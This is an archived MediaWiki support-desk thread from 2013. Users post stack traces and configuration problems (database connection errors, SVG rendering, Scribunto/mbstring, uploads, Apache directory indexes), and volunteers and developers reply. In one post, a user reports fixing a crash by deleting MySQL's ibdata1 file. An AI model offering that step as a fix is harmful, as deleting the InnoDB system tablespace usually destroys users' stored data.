5. 4 /var/www/html/mediawiki/includes/MessageCache.php(588): MessageCache->load('en')
6. 5 /var/www/html/mediawiki/includes/MessageCache.php(527): MessageCache->getMsgFromNamespace('Mainpage', 'en')
7. 6 [internal function]: MessageCache->get('mainpage', true, true)
8. 7 /var/www/html/mediawiki/includes/StubObject.php(58): call_user_func_array(Array, Array)
9. 8 /var/www/html/mediawiki/includes/StubObject.php(76): StubObject->_call('get', Array)
10. 9 /var/www/html/mediawiki/includes/GlobalFunctions.php(742): StubObject->__call('get', Array)
11. 10 /var/www/html/mediawiki/includes/GlobalFunctions.php(742): StubObject->get('mainpage', true, true)
12. 11 /var/www/html/mediawiki/includes/GlobalFunctions.php(707): wfMsgGetKey('mainpage', true, true, true)
13. 12 /var/www/html/mediawiki/includes/GlobalFunctions.php(655): wfMsgReal('mainpage', Array, true, true)
14. 13 /var/www/html/mediawiki/includes/Title.php(284): wfMsgForContent('mainpage')
15. 14 /var/www/html/mediawiki/includes/Wiki.php(117): Title::newMainPage()
16. 15 /var/www/html/mediawiki/index.php(61): MediaWiki->checkInitialQueries(NULL, 'view')
17. 16 {main}

Exception caught inside exception handler: exception 'DBConnectionError' with message 'DB connection error: Can't connect to local MySQL server through socket '/var/lib/mysql/mysql.sock' (111) (localhost)' in /var/www/html/mediawiki/includes/db/Database.php:421 Stack trace:

1. 0 /var/www/html/mediawiki/includes/db/LoadBalancer.php(685): DatabaseBase->reportConnectionError('Unknown error (...')
2. 1 /var/www/html/mediawiki/includes/db/LoadBalancer.php(455): LoadBalancer->reportConnectionError(Object(DatabaseMysql))
3. 2 /var/www/html/mediawiki/includes/GlobalFunctions.php(2973): LoadBalancer->getConnection(-1, Array, false)
4. 3 /var/www/html/mediawiki/includes/LocalisationCache.php(760): wfGetDB(-1)
5. 4 /var/www/html/mediawiki/includes/LocalisationCache.php(321): LCStore_DB->get('en', 'deps')
6. 5 /var/www/html/mediawiki/includes/LocalisationCache.php(350): LocalisationCache->isExpired('en')
7. 6 /var/www/html/mediawiki/includes/LocalisationCache.php(262): LocalisationCache->initLanguage('en')
8. 7 /var/www/html/mediawiki/includes/LocalisationCache.php(205): LocalisationCache->loadItem('en', 'defaultUserOpti...')
9. 8 /var/www/html/mediawiki/languages/Language.php(442): LocalisationCache->getItem('en', 'defaultUserOpti...')
10. 9 /var/www/html/mediawiki/includes/User.php(1053): Language->getDefaultUserOptionOverrides()
11. 10 /var/www/html/mediawiki/includes/User.php(1975): User::getDefaultOptions()
12. 11 [internal function]: User->getOption('language')
13. 12 /var/www/html/mediawiki/includes/StubObject.php(58): call_user_func_array(Array, Array)
14. 13 /var/www/html/mediawiki/includes/StubObject.php(182): StubObject->_call('getOption', Array)
15. 14 /var/www/html/mediawiki/includes/StubObject.php(150): StubUser->__call('getOption', Array)
16. 15 /var/www/html/mediawiki/includes/StubObject.php(150): StubUser->getOption('language')
17. 16 /var/www/html/mediawiki/includes/StubObject.php(103): StubUserLang->_newObject()
18. 17 /var/www/html/mediawiki/includes/StubObject.php(57): StubObject->_unstub('getCode', 5)
19. 18 /var/www/html/mediawiki/includes/StubObject.php(145): StubObject->_call('getCode', Array)
20. 19 /var/www/html/mediawiki/includes/GlobalFunctions.php(582): StubUserLang->__call('getCode', Array)
21. 20 /var/www/html/mediawiki/includes/GlobalFunctions.php(582): StubUserLang->getCode()
22. 21 /var/www/html/mediawiki/includes/MessageCache.php(506): wfGetLangObj(false)
23. 22 /var/www/html/mediawiki/includes/GlobalFunctions.php(742): MessageCache->get('databaseerror', true, false)
24. 23 /var/www/html/mediawiki/includes/GlobalFunctions.php(707): wfMsgGetKey('databaseerror', true, false, true)
25. 24 /var/www/html/mediawiki/includes/Exception.php(75): wfMsgReal('databaseerror', Array)
26. 25 /var/www/html/mediawiki/includes/db/Database.php(2731): MWException->msg('databaseerror', 'Database error')
27. 26 /var/www/html/mediawiki/includes/Exception.php(209): DBQueryError->getPageTitle()
28. 27 /var/www/html/mediawiki/includes/Exception.php(172): MWException->htmlHeader()
29. 28 /var/www/html/mediawiki/includes/Exception.php(191): MWException->reportHTML()
30. 29 /var/www/html/mediawiki/includes/Exception.php(289): MWException->report()
31. 30 /var/www/html/mediawiki/includes/Exception.php(348): wfReportException(Object(DBQueryError))
32. 31 [internal function]: wfExceptionHandler(Object(DBQueryError))
33. 32 {main} 66.159.235.67 (talk) 22:58, 8 November 2013 (UTC)

The Above issue has been resolved.

The InnoDB cache had become corrupted.

Stoped mysqld

Delete ibdata1

restart mysqld

mysql recreated ibdata1

server no longer crashes.

It never ends though. No im having encoding problems. sigh. Once more into the breach deer friends, once more 66.159.235.67 23:49, 8 November 2013 (UTC)

Internal server error using ImageMagick .SVG files

$wgAllowTitlesInSVG = true;
$wgSVGConverterPath = "C:\Program Files\ImageMagick687Q16";
$wgUseImageMagick = true;
$wgImageMagickConvertCommand = "C:\Program Files\ImageMagick687Q16\convert.exe";
$wgMaxShellMemory = 202400;
$wgImageMagickTempDir = "$IP/images/temp";
$wgSVGConverters = array (
    'ImageMagick' => '"C:\Program Files\ImageMagick687Q16\convert.exe" -background white -geometry $width $input $output',);
$wgSVGConverter = 'ImageMagick';
$wgImageMagickIdentifyCommand = "C:\Program Files\ImageMagick687Q16\identify.exe";

wfShellExec: "C:\Program Files\ImageMagick687Q16\convert.exe" -background white -geometry 180 "C:\inetpub\wwwroot\Mediawiki/images/b/bc/Face-grin.svg" "C:\inetpub\wwwroot\MEDIAW~2\images\temp/transform_2143e5317c11-1.png" 2>&1
Backtrace:
#0 C:\inetpub\wwwroot\Mediawiki\includes\GlobalFunctions.php(2849): wfDebugDieBacktrace('wfShellExec: "C...')
#1 C:\inetpub\wwwroot\Mediawiki\includes\media\SVG.php(181): wfShellExec('"C:\Program Fil...', '')
#2 C:\inetpub\wwwroot\Mediawiki\includes\media\SVG.php(135): SvgHandler->rasterize('C:\inetpub\wwwr...', 'C:\inetpub\wwwr...', 180, 180)
#3 C:\inetpub\wwwroot\Mediawiki\includes\filerepo\file\File.php(941): SvgHandler->doTransform(Object(LocalFile), 'C:\inetpub\wwwr...', '/images/thumb/b...', Array)
#4 C:\inetpub\wwwroot\Mediawiki\includes\specials\SpecialListfiles.php(195): File->transform(Array)
#5 C:\inetpub\wwwroot\Mediawiki\includes\Pager.php(1012): ImageListPager->formatValue('thumb', 'Face-grin.svg')
#6 C:\inetpub\wwwroot\Mediawiki\includes\Pager.php(434): TablePager->formatRow(Object(stdClass))
#7 C:\inetpub\wwwroot\Mediawiki\includes\specials\SpecialListfiles.php(48): IndexPager->getBody()
#8 C:\inetpub\wwwroot\Mediawiki\includes\SpecialPage.php(613): SpecialListFiles->execute(NULL)
#9 C:\inetpub\wwwroot\Mediawiki\includes\SpecialPageFactory.php(487): SpecialPage->run(NULL)
#10 C:\inetpub\wwwroot\Mediawiki\includes\Wiki.php(291): SpecialPageFactory::executePath(Object(Title), Object(RequestContext))
#11 C:\inetpub\wwwroot\Mediawiki\includes\Wiki.php(565): MediaWiki->performRequest()
#12 C:\inetpub\wwwroot\Mediawiki\includes\Wiki.php(458): MediaWiki->main()
#13 C:\inetpub\wwwroot\Mediawiki\index.php(59): MediaWiki->run()
#14 {main} 

Class paper

I'm hoping to be able to write a class paper about MediaWiki as an information system. To do this I would need to "conduct an interview" on some aspect of the software or hardware (assuming that some hardware must exist somewhere). I have installed, modified (written PHP) and run MediaWiki on my linux system, so I do have some first hand experience with the software.

Is this an impossible dream, or would my questions have some chance of getting answers? I would attempt to ask the absolute minimum number of questions.

Thanks, Ralph L. DeCarli 99.38.116.44 (talk) 14:19, 9 November 2013 (UTC)

Hi Ralph,

do you have a certain group of people whom you have to ask or can it be basically anyone? However, some MediaWiki developers visit this site here and those developers who work for the Wikimedia foundation might also be able to share some insight on the hardware, which the Wikipedia projects use. So if you put your questions here, I guess you have a good chance to get some answers. :-) 88.130.127.237 14:59, 9 November 2013 (UTC)

As far as I am concerned, any answer from anyone will be great. Actually, I expect that my biggest problem will be finding some subject that isn't well explained in the existing documentation (without having a bug to guide me to the darkness).

Thanks, Ralph. 99.38.116.44 15:58, 9 November 2013 (UTC)

88.130... is pretty familiar with MediaWiki and if xe wants to answer your questions, you'll do great.

Alternatively, you could ask me. I'm on the release management team for MediaWiki. Feel free to email me. ☠MarkAHershberger☢(talk)☣ 16:28, 9 November 2013 (UTC)

Thanks for the flowers, Mark! Yes, I can answer the questions as well.

I am in fact running a wiki; it is not as big as Wikipedia, but also not really small. It is also customized to quite some extend and has a bigger community around it, which comes from the project for which this wiki is running. 88.130.127.237 18:28, 9 November 2013 (UTC)

You people are awesome.

Here are my hardware questions. I’m going to focus on my home system as an example of minimal hardware, but I need to mention the Wikimedia Foundation server farm as an example of MediaWiki’s ability to scale.

I’ve found the WMFLabs Ganglia site. I believe that the grid is a Beowulf cluster of commodity hardware running Linux with the Open Grid Engine for job control. The typical box seems to run at 2.66 GHz with two GB of ram and various sizes of hard drive. True or false?

http://ganglia.wmflabs.org/latest/?r=month&cs=&ce=&tab=m&vn=

Is this the WMF production cluster or the WMFLabs virtual cluster or is it both?

Does the grid run under OpenMPI or something else?

The four largest clusters by CPU count and my guesses as to their purpose are listed below.

Deployment-prep – 69 (page server?)

Tools – 67 (MediaWiki, etc. development?)

Visualeditor – 66 (visual editor development, testing, etc?)

Analytics – 31 (http://reportcard.wmflabs.org/  ?)

What percentage of the 691 CPUs (or which clusters or nodes) actually directly support Wikipedia’s page serving function?

Are there any other “WOW!” statistics?

Are there any “scholarly sources” which talk specifically about the WMFLabs grid? I’m trying to avoid using wiki hosted sites, which makes this whole exercise especially interesting.

I have already found the Matthew L. Massie paper on the Ganglia system itself and the Ward Cunningham WikiWikiWeb site.

Thanks,

Ralph 99.38.116.44 02:29, 14 November 2013 (UTC)

In general it seems like you might want to take a look at https://wikitech.wikimedia.org/ where there is more technical setup information. And http://ganglia.wikimedia.org/latest/?r=month&cs=&ce=&tab=m&vn= might be the Ganglia instance you're looking for. AKlapper (WMF) (talk) 11:33, 14 November 2013 (UTC)

I’ve found the WMFLabs Ganglia site. ... Is this the WMF production cluster or the WMFLabs virtual cluster or is it both?

The WMFLabs hardware does not serve Wikipedia or the sister sites like Wiktionary. For information on the the site that serves those sites, check out https://noc.wikimedia.org/.

Does the grid run under OpenMPI or something else?

See the noc site. I hadn't heard of OpenMPI before this. I think I can safely say "No" in answer to your question, but I'm not a good authority on that. Perhaps WMFLabs uses OpenMPI?

The four largest clusters by CPU count and my guesses as to their purpose are listed below.

Deployment-prep – 69 (page server?) Tools – 67 (MediaWiki, etc. development?) Visualeditor – 66 (visual editor development, testing, etc?) Analytics – 31 (http://reportcard.wmflabs.org/  ?)

No, deployment-prep is a set of configurations I helped set up using the WMFLabs infrastructure to test MediaWiki before it was deployed to the production servers. Documentation: https://wikitech.wikimedia.org/wiki/Nova_Resource:Deployment-prep/Overview

Tools is the Labs replacement for toolserver. Documentation: https://wikitech.wikimedia.org/wiki/Nova_Resource:Tools

You seem to be correct on visualeditor. https://wikitech.wikimedia.org/wiki/Nova_Resource:Visualeditor

You would have to ask the analytics team about their setup. https://wikitech.wikimedia.org/wiki/Nova_Resource:Analytics

What percentage of the 691 CPUs (or which clusters or nodes) actually directly support Wikipedia’s page serving function?

None. You've mistaken labs for the production cluster.

Are there any other “WOW!” statistics?

See this presentation: http://www.lugod.org/presentations/Wikimedia_Infrastructure_Utrecht_LUG_2011.pdf from a couple of years ago. ☠MarkAHershberger☢(talk)☣ 18:28, 14 November 2013 (UTC)

Thanks for all of your help. If possible I will make this the last post. It has been difficult to find broad, serious, business and technical subjects that are not covered in the documentation. I’m afraid that the following questions are mostly speculative.

Would it be fair to describe MediaWiki as, “a media server that provides facilities for collaboration in the creation and maintenance of its content”? (I know it does lots more)

Is there a graphic for MediaWiki showing the index, API, load, redirect, WebStart, LocalSettings, etc. (or some other) components?

Does MediaWiki use any ‘languages’ internally (not counting extensions) beyond SQL, HTML, XML, JavaScript, and PHP with JSON?

Are there any plans for extending database connectivity beyond SQLite, MySQL and Postgres?

http://www.mediawiki.org/wiki/Help:User_rights#List_of_groups

Regarding $wgGroupPermissions in LocalSettings.php, does the MediaWiki development team use any custom groups, or are the standard groups sufficient?

Are there plans to provide a configuration application for LocalSettings.php or other configuration tasks?

In regard to VisualEditor, was the possibility of using an existing WYSIWYG HTML editor, such as IceApe’s Composer, considered?

http://www.mediawiki.org/wiki/Extension_Matrix/stable

Upon further reading, the following questions may be covered by the PageMover object mentioned at http://www.mediawiki.org/wiki/Architecture_guidelines#Design_principles or the Web API interface.

Extensions provide an amazingly flexible interface for developers. Is there any thought of providing an interface for more advanced client-side applications (modules) to be securely attached by the user rather than the developer?

I’m thinking of the Java CORBA and/or RMI implementations, as an example, but any standard with encryption after initial sign-on would be fine. If the MediaWiki/module interface was limited to the read/edit/upload/navigate level, the data exchanges could be minimized as much as possible. This would definitely separate UI and business logic. What am I missing?

So, that’s it. I’ll say thanks-in-advance for any answers I get, in order to minimize my contribution to the noise level.

Ralph 99.38.116.44 17:50, 22 November 2013 (UTC)

Make redirects not show up in search suggestions

Is there's a way to make the simple search display only pages that are not redirect in suggestion field? And if so, would this noticeably slow its performance? Thanks for your feedback :) Cafeinlove (talk) 06:20, 10 November 2013 (UTC)

Export to PDF shows tags

About Extension:Scribunto/Lua_reference_manual. Choosing "Print/Export/ | Download to PDF" url the presented PDF shows this on top: Language: English • <bdi lang="fr">français</bdi>•<bdi lang="ru">русский</bdi>• ... That is, tags are visible. It is also present in the downloloaded file. (Does not occur outside the "Language" box, does not occur in "Printable version"). I have FF 25.0 atop WinXP SP2,3; Adobe Reader 7.0. Printscreen available on request; I'm from enwiki. DePiep (talk) 09:05, 10 November 2013 (UTC)

Could you file a bug with this information? ☠MarkAHershberger☢(talk)☣ 17:42, 14 November 2013 (UTC)

[RESOLVED] Infobox error

Hi,

I have been trying to create infoboxes for my local wiki and cannot seem to figure out the following error:

After exporting wikipedia templates to the local hard disk, if i try to import them to my wiki, all that i see in front of me is a blank page. I have searched everywhere but no one seems to have this problem.

The following are the steps i did:

1. I installed mediawiki 1.21. So i already have the parser function extension.
2. I installed the Scribunto extension as descried in https://www.mediawiki.org/wiki/Extension:Scribunto
3. I exported the wikipedia templates to my local disk and even changed the section '‘text/plain’ with ‘CONTENT_FORMAT_TEXT’'.
4. While importing them to my wiki there just is a blank page.

Can anyone help and tell me what am i doing wrong? Wikedkid (talk) 07:55, 11 November 2013 (UTC)

If you follow the directions for PHP debugging by adding

error_reporting( -1 );

ini_set( 'display_errors', 1 );

to your LocalSettings.php, do you still get a blank page? ☠MarkAHershberger☢(talk)☣ 17:20, 11 November 2013 (UTC)

Hi,

Thanks for that tip. The bank page does not come and i guess all the templates were imported.

But i encountered a new error.

So i put a small infoxbox code hoping it would look similar to the ones in wiipedia but all i saw on my page was,

"Script error: No such module "Infobox"."

I had even put the css code into MediaWiki:Common.css. Then in another thread it suggested that Scrubinto was required which i installed.

After installation, after refreshing the wiki, i got a fatal error.

Call to undefined function mb_check_encoding() in /var/www/html/testwiki/extensions/Scribunto/engines/LuaCommon/UstringLibrary.php on line 30 Wikedkid (talk) 12:05, 14 November 2013 (UTC)

Could you download the 1.22 version of Scribunto and try it? Some updates have been made that might fix this.

Otherwise, what happens if you click on "Script error"? You should see an error message. ☠MarkAHershberger☢(talk)☣ 17:41, 14 November 2013 (UTC)

hey it all works now. That script error came as i had not installed php-mbstring. The script error was showing the infobox being invoked but was not working. It all worked after the mbstring installation.

Thanks for all the help :) Wikedkid (talk) 11:37, 15 November 2013 (UTC)

Thanx Wikedkid !

After scratching my head for a couple of days, turning on all possible logging and googling a tremendous amount of docs, I came across your last remark here. I didn't have the 'extension=php_mbstring.dll' enabled in my php.ini file. Once I added that, it all worked. Strange that that's not even mentioned in the Scribunto docs, isn't it? Pompelpilt (talk) 21:51, 13 January 2015 (UTC)

php/libxml2 error during install

Hello,

I am trying to install the newest version of mediawiki on my server. The setup refused to continue and tells me I have to upgrade to php 5.2.9 or higher and libxml 2.7.3 or higher. But this is the case! See yourself:

   root@server:/usr/lib# ls -la libxml2*
   lrwxrwxrwx 1 root root      16 Nov 11 03:02 libxml2.so.2 -> libxml2.so.2.7.8
   -rw-r--r-- 1 root root 1216348 Oct 13 08:01 libxml2.so.2.7.8

   root@server:/usr/lib# php -v
   PHP Warning:  PHP Startup: Unable to load dynamic library '/usr/lib/php5/20090626+lfs/xsl.so' - /usr/lib/php5/20090626+lfs/xsl.so: cannot open shared object file: No such file or directory in Unknown on line 0
   PHP 5.3.27-1~dotdeb.0 with Suhosin-Patch (cli) (built: Jul 25 2013 20:17:25)
   Copyright (c) 1997-2013 The PHP Group
   Zend Engine v2.3.0, Copyright (c) 1998-2013 Zend Technologies
   with XCache v3.0.3, Copyright (c) 2005-2013, by mOo
   with XCache Cacher v3.0.3, Copyright (c) 2005-2013, by mOo

Does anyone have an idea what to do? Thanks in advance! 77.6.59.241 (talk) 10:49, 11 November 2013 (UTC)

That may not be the libxml your php is using. What is the result of the following:

php -r 'phpinfo();' | grep xml2 ☠MarkAHershberger☢(talk)☣ 17:41, 11 November 2013 (UTC)

Reuse an RL module in a different context

Hi, I am working on a user script extending the default search bar on the top right (in Vector) -- in fact, I am refactoring my old code (old doc and half-backed newer version).

For this new version, I search to use the mediawiki.Title module to manage the titles of non-local wikis (e.g. manage titles of enwiki on frwiki). I can retrieve or pre-load the data of the non-local wikis, but I don’t see a way to use it in the mediawiki.Title functions (there are 4 wgJSVariables to replace, like wgFormattedNamespaces). From what I understand:

• either I have to copy the code of mediawiki.Title and add some 'context' variable at the end of the functions (e.g. Title.newFromText); I already did it and it works, but it is quite a waste of resources to reimplement the same thing with only a few changes;

  a sub-option is to add these 'context' variables in the main code and in the wider mediaWiki object (to make it really abstract instead of attached to the local wiki), but it is quite an important task;

• either I have to reuse the implementation of the mediawiki.Title module by re-executing the same code with a different mediaWiki object, but I didn’t find, in the doc of the ResourceLoader, a way to re-execute a module in a different context (and I’m even not really sure it is possible -- I have some difficulties to track the references of the various involved objects).

Thanks! ~ Seb35 [^_^] 15:51, 13 November 2013 (UTC)

website transfer complications

• MediaWiki 1.21.2
• PHP 5.4.20 (cgi-fcgi)
• MySQL 5.5.34-log

I have an old site hosted for free here: http://poetrans.shoutwiki.com and I want to transfer it here: http://www.poetrans.org.

I had no trouble exporting the pages in the old site and importing them in the new one. However, the old hosting does not provide any way to export the images (and I have more than 400 of them) nor the database. They do not provide any FTP access.

I manually downloaded all the images using "Save image as...". It was a pain, but it's good to know I have the files! I then manually uploaded 70 of the images to the new site. I wonder if I can use FTP or any other fast way to upload the rest. I do have FTP access to the new site but I don't know the path to the image files. Ofrahod (talk) 16:49, 13 November 2013 (UTC)

You can put your images anywhere on your new server, and import them to MediaWiki using the importImages.php script (you'll need shell access to the server). Ciencia Al Poder (talk) 10:49, 14 November 2013 (UTC)

Thanks. Ofrahod (talk) 10:58, 14 November 2013 (UTC)

update srcibunto

hi please update extension scribunto lua to 5.2.2 please 90.212.100.243 (talk) 17:28, 13 November 2013 (UTC)

If Scribunto does not work with Lua 5.2.2, please paste errors what exactly does not work. AKlapper (WMF) (talk) 11:30, 14 November 2013 (UTC)

If you have a bug, please file a bug report. ☠MarkAHershberger☢(talk)☣ 17:33, 14 November 2013 (UTC)

php update.php fails  : LoadBalancer.php error at line 700

Mysql version:5.5.34, for debian-linux-gnu (x86_64) using readline 6.2

Mediawiki: 1.21.0

PHP: PHP 5.5.5-1+debphp.org~precise+2 (cli) (built: Oct 28 2013 12:57:03)

php update.php

MediaWiki 1.21.2 Updater

PHP Fatal error: Call to a member function setLBInfo() on a non-object in /var/www/mediawiki/includes/db/LoadBalancer.php on line 700

Fatal error: Call to a member function setLBInfo() on a non-object in /var/www/mediawiki/includes/db/LoadBalancer.php on line 700

Any help appreciated Ivanbishop (talk) 19:32, 13 November 2013 (UTC)

Are you updating from an older version? Which one? What are your database variable set to ($wgDB*) in your LocalSettings.php? (Post everything but your password.) ☠MarkAHershberger☢(talk)☣ 17:38, 14 November 2013 (UTC)

I have the same problem.. my MediaWiki is "MediaWiki 1.26.2 Updater"

here is my database information:

SetEnv DB_TYPE mysql

SetEnv DB_SERVER 127.0.0.1

SetEnv DB_NAME fitwiki_db

SetEnv DB_USER root

SetEnv DB_PREFIX wiki_ Helen1705 (talk) 17:14, 18 May 2016 (UTC)

Strange Error while doing basic editing

Hi. So I'm working on character wikis for a small gaming site. For the most part, I've had no problems coding, until last night. For the most part, when I do a "known info" section on an NPC's wiki, I use the same general layout of

* '''Title''' (''Who Can Interact'') Short paragraph about the NPCs involvement.

So on one NPCs page, Penthesilea ( found here: http://www.mackenzieweaver.com/media/index.php?title=-Penthesilea- ), I was trying to add this:

* '''Welcome to Pick-Em-Up''' (''All'') Penny is the main genius behind the Corinthians presence in Pick-Em-Up. She gives her sister and Xenophon work to do, and helps do some games herself. She stays out of the poker games and the like -- laughing about how she has tells people can see a mile away -- but she's happy to serve alcohol, or sit with someone and chat when they're struggling.

Except any time I tried to add it, it would take me to "FORBIDDEN" and make a mention that there was a 404 too. If I add anything else, it's fine--it's just that chunk. I've tried taking chunks out of it, retyping it in Notepad++ and TextWrangler in case there was a hidden code I'd missed, etc. Nothing seems to work. As you can see, I got other things on Penny's page to work--just not that chunk.

Uh, for everything else...

MediaWiki: 1.21.1 PHP: 5.4.18 (cgi-fcgi) Database: SQlite 3.7.7.1 with full-text search support 99.42.48.36 (talk) 19:52, 13 November 2013 (UTC)

Hi!

This does not seem as if it has to do with the page title. I tried adding the same text not on "-Penthesilea-", but on "Penthesilea" and it does not work there as well.

When I tried to put only the first few words without any markup ("Welcome to Pick-Em-Up (All) Penny is the main genius behind the Corinthians") it still does not work: The request runs for some time and then you end up with a page loading error: Network connection timed out. During this time - and even now after the request has been aborted, the complete wiki is not accessable. Seems like you have a major error in your configuration.

Did MediaWiki show you any messages when you installed it? Like "setting xyz is not compatible with this version of MediaWiki"? 88.130.85.157 21:20, 13 November 2013 (UTC)

Nope! Everything seemed to install just fine with no errors, at least to my memory. Should I try removing my extensions and then re-adding them? 99.42.48.36 23:14, 13 November 2013 (UTC)

You have currently installed InputBox, New Page CSS and ParserFunctions. Yes, you can try without them (although I don't know if that helps). But try it.

I noticed one thing else: In your installation $wgArticlePath and $wgScriptPath point to the same path. This is not recommended and can cause problems. Try changing one of them, e.g. move the files and folders of the wiki into the subfolder media/w/ (which you have to create first) and then set that one as $wgScriptPath. 88.130.79.54 00:34, 14 November 2013 (UTC)

Will do :) Thank you! 67.175.146.193 02:52, 14 November 2013 (UTC)

MediaWiki API: how do you get the max image width with piprop and pithumbsize ?

Hello,

I am the creator of a clojure wrapper around the mediawiki /w.api.php API that allows for the generation of json document from different (media)wiki pages url. When querying the API, I use piprop=thumbnail to get the url of a page thumbnail. By default, I would like to get the url of the image having the original size. For the moment, the only way I found to do this is give the pithumbsize an arbitrarily large number (e.g: 99999) and the link will be that of the full size image. However, the query result indicates wrong width and height. Is there a better way to do this? Is there a way to query the API and have it return a link to the full size thumbnail of the page without the large number hack?

I'm currently using this endpoint : [en.wikipedia.org/w/api.php]

Thank you so much for your help ! Jonathan.pelletier1 (talk) 20:52, 13 November 2013 (UTC)

Could you show us an example of the query you're trying, what it returns, and what you'd like to be different?

And it looks like you should be using iiprop=url|size: https://en.wikipedia.org/w/api.php?action=query&titles=File:Test.jpg&prop=imageinfo&iiprop=url%7Csize ☠MarkAHershberger☢(talk)☣ 17:31, 14 November 2013 (UTC)

/public_html/includes/LocalisationCache.php ERROR

Hey, im a new using mediawiki and I have one problem. My version of mediawiki is 1.18.6 and the problem is this:

When I go to my page,( after configure and install mediawiki, uploading Local Settings...)

Warning: include(php) [function.include]: failed to open stream: No such file or directory in /home/a9048770/public_html/includes/LocalisationCache.php on line 408 Warning: include() [function.include]: Failed opening 'php' for inclusion (include_path='.:/usr/lib/php:/usr/local/lib/php') in /home/a9048770/public_html/includes/LocalisationCache.php on line 408

And I went to /home/a90..../LocalisationCache.php, to the line 408. This is line 408 (405-410 lines for view the full script): protected function readPHPFile( $_fileName, $_fileType ) { // Disable APC caching $_apcEnabled = ini_set( 'apc.cache_by_default', '0' ); line 408--> include( $_fileName ); ini_set( 'apc.cache_by_default', $_apcEnabled );

I think i need to replace fileName for something, but I dont know, hope I can do this ^^ 212.106.225.138 (talk) 21:55, 13 November 2013 (UTC)

Please do not use MW 1.18 as it isn't supported. ☠MarkAHershberger☢(talk)☣ 17:23, 14 November 2013 (UTC)

Link to the file itself, not the file page

I can create links to the file pages using the [[File:Blah.jpg]] code, but i allow non-image file type uploads to my wiki, and I want to be able to create links to the files themselves, not the file page, so when people click on them they can directly download the file. Is there any way to do that? Like a parser function or something like that, which would take something like {{fileurl:Blah.jpg}} and return something like /c/c8/Blah.jpg ? 156.111.123.105 (talk) 04:32, 14 November 2013 (UTC)

Yes, use Media: instead of File: for links: Media:Example.png Ciencia Al Poder (talk) 10:56, 14 November 2013 (UTC)

user privilegs

Is it possible an annonymous user to deny to read some article? I found only a hint how i can deny (read) all article. but i like only protecta part of them.

Or can ich allow a User-Group (only) to read some article an all other become an empty side ? 88.79.122.250 (talk) 17:02, 14 November 2013 (UTC)

Blocking parts of pages isn't possible in MediaWiki. ☠MarkAHershberger☢(talk)☣ 17:22, 14 November 2013 (UTC)

[RESOLVED] Uploads just... not working.

Sooooo I'd uploaded a couple of files (apparently on 22 October), but trying to upload via my wiki over the last few days just, well, does nothing. It refreshes back to the upload page.

My localsettings looks like this: $wgEnableUploads = true; $wgFileExtensions = array('png','gif','jpg','jpeg','doc','xls','pdf','ppt','tiff','bmp','docx', 'xlsx', 'pptx','odt','ods','odp','odg'); $wgUseImageMagick = true; $wgMaxShellMemory = 524288; $wgImageMagickConvertCommand = "/usr/bin/convert";

The $wgFileExtensions bit I only added recently, it was still not working before that.

Any advice?

Thanks! 94.3.137.255 (talk) 22:19, 14 November 2013 (UTC)

If it just refreshes back to the upload page, without any error message (missing file, etc), then the problem is that the POST data is lost when MediaWiki is trying to handle the upload.

This can happen if your configured $wgServer is different from the actual server name and your webserver is performing a redirect (for example, it redirects example.com to www.example.com, and $wgServer is set to example.com), because the POST data is lost on the redirect. Ciencia Al Poder (talk) 10:36, 15 November 2013 (UTC)

Aha, that's it, thank you!

I had $wgServer set to "http://www.attwiki.org"; but I'd changed it at some point to just "http://attwiki.org. I thought I did it a while back before the other uploads, but this appear to have fixed things, many thanks! 94.3.137.255 11:48, 15 November 2013 (UTC)

Creating Large Wide Thumbnails

I'd like to set MediaWiki to create large thumbnails (say 700x300) to display as large 'splash' images at the top of each article.

This might replace the standard display of thumbnails (or create a 'thumb2' type). Thumbs would best be cropped in their centre at 700x300. If it had to be done when uploaded so be it, on the fly would be great. Is this an ImageMagik configuration?

Other thoughts: I'm sure the ideal might be doing this with CSS on the full size image, position where the crop appears within a div tag, but the majority of users will be using the Visual Editor and wouldn't be able to wrap an image. I'm going for simple. MarkJurgens (talk) 04:32, 15 November 2013 (UTC)

MediaWiki Start page doesn't load

I installed mediawiki 1.21.2 on RHEL 6.4 , with PHP 5.3 and Mysql 5.1.69. The URL is: http://134.133.96.200/. The problem is that when I go to the site I get Index of / It lists all of the directories

Index of /
Name Last modified Size Description 

--------------------------------------------------------------------------------
 
COPYING 03-Sep-2013 14:56  17K
CREDITS 03-Sep-2013 14:56  3.8K
FAQ 03-Sep-2013 14:56  76
HISTORY 03-Sep-2013 14:56  568K
INSTALL 03-Sep-2013 14:56  3.5K
RELEASE-NOTES-1.21 03-Sep-2013 14:56  23K
StartProfiler.sample 03-Sep-2013 14:56  405

etc.

Instead of the start page:

My httpd.conf file:

Include /app/share/lib/apache/httpd.defaults.conf
#
Listen  slunaker.us.lmco.com:80
User wiki
Group dcs.medwiki
ServerAdmin root@dcs.us.lmco.com
ServerName slunaker.us.lmco.com:80
ErrorLog /app/mediawiki/httpd/logs/slunaker/error_log
CustomLog /app/mediawiki/httpd/logs/slunaker/access_log "%h %l %u %t \"%r\" %>s %b"
#
LDAPTrustedGlobalCert CA_BASE64 /app/share/lib/ldap/lm_ca.pem

DocumentRoot "/app/mediawiki/httpd/site/mediawiki"
<Directory "/app/mediawiki/httpd/site/mediawiki">
   Options Indexes FollowSymLinks
   AllowOverride None
   Order allow,deny
   Allow from all
</Directory>
#
<IfModule prefork.c>
  LoadModule php5_module modules/libphp5.so
</IfModule>
<IfModule worker.c>
  LoadModule php5_module modules/libphp5-zts.so
</IfModule>

#
# Cause the PHP interpreter to handle files with a .php extension.
#
AddHandler php5-script .php
AddType text/html .php

#
# Add index.php to the list of files that will be served as directory
# indexes.
#
DirectoryIndex index.html index.html.var index.php

#
# Uncomment the following line to allow PHP to pretty-print .phps
# files as PHP source code:
# 
#AddType application/x-httpd-php-source .phps

Lhaynes4 (talk) 21:13, 15 November 2013 (UTC)

Hi!

Your configuration does nt look so bad. Currently the problem seems to be that there is no network connection to your server. I get: Network connection timed out. Make sure the server is up and running. 88.130.67.176 23:46, 15 November 2013 (UTC)

Go to the index.php page to see if it works. Apparently, it should already work with your DirectoryIndex directive, unless you made changes to it and you forgot to restart apache. Ciencia Al Poder (talk) 12:27, 16 November 2013 (UTC)

[RESOLVED] Large svg images not displaying/showing in mediawiki (libgomp: Thread creation failed: Cannot allocate memory)

Hi,

I'm running a mediawiki site, www.wappenwiki.org, with the following setup:

MediaWiki, version 1.21.3 MySQL, 5.5.24 PHP, 3.4.10.1deb1

